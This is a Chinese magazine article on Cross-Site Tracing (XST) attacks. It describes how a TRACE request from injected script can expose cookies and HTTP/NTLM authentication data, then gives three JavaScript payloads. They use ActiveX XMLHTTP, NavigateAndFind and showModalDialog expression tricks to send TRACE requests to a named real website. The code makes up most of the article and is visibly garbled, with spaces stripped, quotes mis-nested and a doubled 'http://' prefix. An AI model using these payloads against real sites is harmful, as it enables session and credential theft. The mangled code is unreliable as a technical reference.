注意:文章已经发表于8期黑客防线,版权归其所
XST攻击描述:
攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。
XST攻击条件:
1、需要目标web服务器允许Trace参数;
2、需要一个用来插入XST代码的地方;
3、目标站点存在跨域漏洞。
XST与XSS的比较:
相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。
优点:可以绕过一般的http验证以及NTLM验证
如何利用:
手法1:
<SCRIPTtype=text/javascript>
<!--
functionxssTRACE(){
varxmlHttp=newActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</SCRIPT>
<BR><INPUTonclick=xssTRACE();type=buttonvalue="XSSTRACE">
手法2:
<SCRIPTtype=text/javascript>
<!--
functionxssTRACE(){
varopenWin=open("blank.htm","swords","width=500,height=400");
varotraceswords=openWin.external;
openWin.location.href="http://wmjie.51.net/swords/";
setTimeout(
function(){
//以下必须写在一行
otraceswords.NavigateAndFind('javascript:xmlHttp=newActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false);xmlHttp.send();xmlDoc=xmlHttp.responseText;alert("不用document.cookie显示站点wmjie.51.net/swords/的头信息。n"+xmlDoc);',"","");
},
1024
);
}
//-->
</SCRIPT>
<BR><INPUTonclick=xssTRACE();type=buttonvalue="XSSTRACE">
手法3:
<SCRIPTtype=text/javascript>
functionxssTRACE(){
varswords="varxmlHttp=newActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE","http://http://www.tingh.com/",false);xmlHttp.send();xmlDoc=xmlHttp.responseText;alert(xmlDoc);";
vartarget="http://wmjie.51.net/swords/";
spinach=encodeURIComponent(swords+';top.close()');
varreadyCode='font-size:expression(execScript(decodeURIComponent("'+spinach+'")))';
showModalDialog(target,null,readyCode);
}
</SCRIPT>
<BR><INPUTonclick=xssTRACE()type=buttonvalue="XSSTRACE">
后记:研究阶段,希望能抛砖引玉,期望和您能够交流心得体会。